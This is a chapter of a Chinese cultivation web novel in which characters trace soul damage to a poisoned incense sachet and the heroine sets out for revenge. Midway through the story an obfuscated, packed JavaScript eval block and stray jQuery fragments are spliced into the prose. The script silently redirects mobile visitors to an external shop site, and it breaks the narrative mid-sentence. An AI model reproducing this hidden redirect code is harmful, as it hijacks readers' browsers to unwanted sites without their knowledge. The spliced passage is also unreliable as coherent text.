文趣网 > 其他小说 > 神魂出窍后 > 48. 引神香
    广峰秘境的试炼三天后便结束了。

    南茵带着这群已经不能用邋遢形容的弟子们,一个不少的踏上归途。

    “你去说。”

    故意落在队伍最后的一名弟子用肩膀撞了撞前面的弟子,瞟了一眼前面,又鬼鬼祟祟缩了回来。

    被撞的一下的弟子翻了个白眼,不为所动:“我不去,谁让是你打赌输了。”

    归途实在无聊,几人聚在一起打了个赌,输的那个要去找带队师姐提一个要求。

    手气不好的弟子看着前面冷脸的师姐,心慌得要死,但架不住同伴的再三催促,只好一边发憷一边挪到了前面。

    “师姐”

    南茵闻声抬眼,无形的压力顿时蔓延开来。

    显然直到这是怎么回事的弟子一下安静下来。

    输了的弟子不敢抬头,咽了咽口水,小声道:“师姐,我们能下去逛逛吗?”

    四周顿时寂静,连风也安静下来。

    南茵皱眉,道:“你说什么?”

    暗中观察的弟子们差点笑死,因为太小声师姐没听见,倒霉的那位又要重说一遍。

    “师姐”

    那弟子视死如归,闭眼大声道:“我们可以下去买点东西吗?”

    被大声吼了一嗓子的南茵掏了掏耳朵,道:“可以。”

    四下一静,反应过来南茵答应后立即欢呼起来。

    本着反正都要宗门,便不打算收拾自己的弟子们突然知道了形象的重要性,连忙施展清洁术清理自己。

    有些清洁术没办法的事,只好人工上手。

    一番鸡飞狗跳后,在下灵船时,又变成一群干净整洁,风华正茂的少年人。

    南茵一一扫过等待出发的弟子们,道:“一炷香时间,太阳落山前我们要回到宗门。”

    一炷香也够了。

    待到南茵手势落下,一群人一窝蜂散开,眨眼便消失得无影无踪。

    没有想要采买东西的南茵看着空荡的地方,有些失神。

    她想告诉师姐,问题出在香囊的上。

    但却又不知如何寻找,又怕自己万一真的找到,反而是让身后盯着自己的人渔翁得利。

    南茵望着逐渐落下的夕阳,心绪翻涌,她该如何告诉师姐,她也是其中的推手。

    暮色金波,霞光潋滟。

    楚苍术的话语在卫源的脑海里转了一圈又一圈,犹如一团缠乱的毛线,毫无头绪,只能一遍又一遍翻找着楚天草从医仙谷带出来的书籍。

    这一切阮清许都看在眼里。

    “没有其他办法?”

    阮清许陪着楚苍术喝茶,看过一眼身后的人后,便不再给注意力。

    楚苍术轻叹:“没有,我们甚至不知道你的神魂怎会如此轻易地跑出来。”

    阮清许皱眉,不解道:“为何这样说?”

    楚苍术解释道:“按照书上的说法,神魂不管是否自愿剥离,其主人都能感受到生不如死的痛觉,但你说你醒来,便魂体分离了,那只能说明你神魂一开始便有异。”

    已经无法回想起太多的那时受到袭击的记忆,阮清许皱眉道:“我昏过去时,被他踩碎手掌的疼痛算得上吗?”

    楚苍术摇摇头,道:”听谷主说,你神魂两度撕裂,那神魂剥离的痛苦只会是神魂撕裂的千万倍。”

    差点没抗住神魂撕裂痛苦的阮清许神色一凛,有点庆幸那时的自己幸好无知无觉。

    大概神魂撕裂还是给阮清许留下了些许阴影,便不想继续这个对身心健康无益的话题。

    楚苍术挑眉,对谷主口中死性不改的人突然有了新的认识。

    正巧这时,楚天草带着卫源拿着一本书进来了。

    “我们查到有一种香料,名为引神香,不与其他东西配伍的前提下,能安神养魂,但若是精心配置,长期嗅闻下来,神魂难安。”

    楚天草说完,便看向阮清许,道:“你可是不慎接触了这引神香?”

    因为嗅觉太过于灵敏,根本闻不了太刺鼻香味的阮清许失笑:“没有,我连香囊都不曾佩戴。”

    等等。

    阮清许坐直身子,表情立即严肃道:“这东西一般闻起来是什么味道?”

    卫源将书拿过来,瘫在阮清许面前。

    引神香,单独无色无味,和其他东西配伍后,会散发淡淡的清新的柑橘味。

    想起天天带着香囊在自己面前晃悠的某人,阮清许脸色难看。

    心存侥幸的阮清许将闻到的味道一一形容给楚天草,楚天草根据味道大致还原那香囊原料。

    “你得罪的到底是什么人?”

    楚天草看着簸箕里的香料,不由失声。

    每一种香料都是无毒,甚至有的还有治病的作用,但是当他们配伍在一起,不说煎水来喝,单单是味道已经是剧毒。

    卫源一把抓住阮清许的手,脸色阴沉道:“你闻了多久?!”

    阮清许没回答,看向楚天草,问道:“对佩戴之人可有害?”

    楚天草看了一眼阮清许,又指了指那对簸箕里的东西,道:“大椿闻了也得死,你说呢?”

    但好歹没让阮清许太难受,又补了一句:“若是提前服了定魂丹,危害便少了许多。”

    阮清许抬眼看向脸色难看的卫源,心下一松,幸好那段时间这人忙着闭关,没来找她。

    “所以,你知道是谁了?对吗?”

    卫源手中不由用力,阮清许觉得自己五感反正不通,便由着他抓着。

    见两人有话要说,楚天草和楚苍术两人识相地出去了。

    没了外人,阮清许伸手把情绪激动的人抱了抱,又拍了拍背,道:“还记得我跟你说过的,小师妹的心上人吗?”

    卫源闻言,转身欲走,被阮清许眼疾手快拉了回来:“去哪儿?”

    “宰了他!”

    一想到是那人害得阮清许变成这样,卫源恨不得马上一剑砍了那人的脑袋。

    还有南茵,早就该去找巫元霜治治眼睛,不然不会害得她师姐落得如此下场。

    见卫源如此情状,阮清许抬手,卡了卫源的下颌,淡声道:“松开。”

    卫源不动,阮清许手上又加了点力道,这次声音也冷了不少:“卫源,我说松开!”

    那被紧紧咬着的软肉这才被血淋淋的放过了。

    阮清许压着人漱了口,又上了药,甚至掰开卫源那蚌壳般的嘴,看着血肉模糊的软肉正在缓慢愈合,才没好气道:“饿了去吃饭,咬自己算什么?”

    情绪没能得到发泄的卫源睁着一双委屈又难过的眼睛,默默瞅着阮清许不说话。

    阮清许好笑地把手伸过去,让他先牵着,因为她还有点其他事要问楚苍术。

    识相让出屋子让两人说话的楚天草回头瞄了一眼没有动静的屋子,拉着楚苍术有些好奇道:“怎么没有动静啊?”

    楚苍术给自己倒了一杯茶,笑道:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899495|209422||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你想听见什么动静?”

    楚天草撇了撇嘴,没说话,但看热闹的心是按耐不住的。

    就在楚天草跃跃欲试要不要靠近些时,阮清许和卫源出来了。

    两人神色平静,看不出任何东西,硬要说的话便是卫源那如同长在阮清许手上的手。

    但这有什么稀奇的。

    阮清许在楚苍术对面坐下,问道:“不知你有没有听说,我曾经有一缕神魂落在了一个孩子身上。”

    这消息确实不在楚苍术已知的消息中。

    对于这位看起来非常倒霉的道友身上,再听见发生什么奇怪的事情,楚苍术已经不会再感到奇怪了。

    “你感觉如何?”

    阮清许摇摇头:“没有任何变化,相反那小孩好似成了我的庇护,导致好几年都不长个子。”

    楚苍术点点头,表示明白。

    神魂强大的一方压制了本源,哪怕再怎么无害,到底还会对身体产生一些影响。

    楚苍术抬眼,隔着模糊不清的纱布,道:“道友身上有与那孩子同源的东西。”

    阮清许没有否认,但也不会把小芽的事情说出来。

    楚苍术理解,但是有一点他要提醒阮清许:“神魂离体久了,哪怕后面能回到本体,修为也会收到影响。道友要早做打算。”

    阮清许明白,也有了计划,但走之前她还要和叶晓聊聊,总不能她把人带出来后,就这么不管不顾了。

    找到叶晓时,他正蹲在地上和药铺里的小童子一起分拣药材。

    或许是从小身旁的都没同龄伙伴,这让叶晓见到和自己的一样大的小童时,嘴巴就没有闲下来过。

    “这是什么?”

    叶晓不认识药草,所以不敢乱动手,但不耽误他缠着人家问东问西。

    小童也是非常有耐心,有问必答:“这是落麻草,会使人麻痹的。”

    阮清许好笑地在一旁围观一会儿后,招手把叶晓叫了过来。

    “我要去找我的仇人报仇了,不能带着你,你能和楚谷主他们先待着一段时间吗?”

    阮清许尽量把话说清楚,不让小孩觉得他们是在抛弃他。

    叶晓无语道:“我又不是小孩了,再说我要闹着跟你们走,万一被砍死了怎么办?”

    看起来对于阮清许他们离开没有太大的触动。

    说实话,叶晓感觉自己其实和阮清许他们并不是很熟,只是有好感罢了。

    但阮清许这行为在叶晓眼里非常加分,于是单方面把他们晋升为熟人。

    叶晓回头看了看喝醉倒在躺椅的齐光郎,纠结道:“要不要我把他喊起来,跟你们道别?”

    阮清许笑着摸了摸叶晓的头,在叶晓不赞同的目光下挥手:“不用,你回去吧,我们走了。”

    落日熔金,暮云合璧。

    一如在小村里初次见到阮清许他们时的场景,这次叶晓站在门外,把人送离。

    “砰!”

    还在广峰秘境中,被兄长带去和猛兽战斗的石瑾,还没来得及向兄长炫耀刚得来的战利品,便听见一声重物落地的声音。

    无论什么时候都被石瑾安置妥当的石瑞,一头扎进不过手指高的草地中,双眼紧闭,意识模糊,听不见也看不见面色苍惶的弟弟的呼唤。

    寂静如死水的归元门,脖子上依旧缠绕着绑带的徐相旬高高在上,翘着腿看着底下半透明的魂魄,笑道:“翅膀硬了,连父亲的话都不听了?”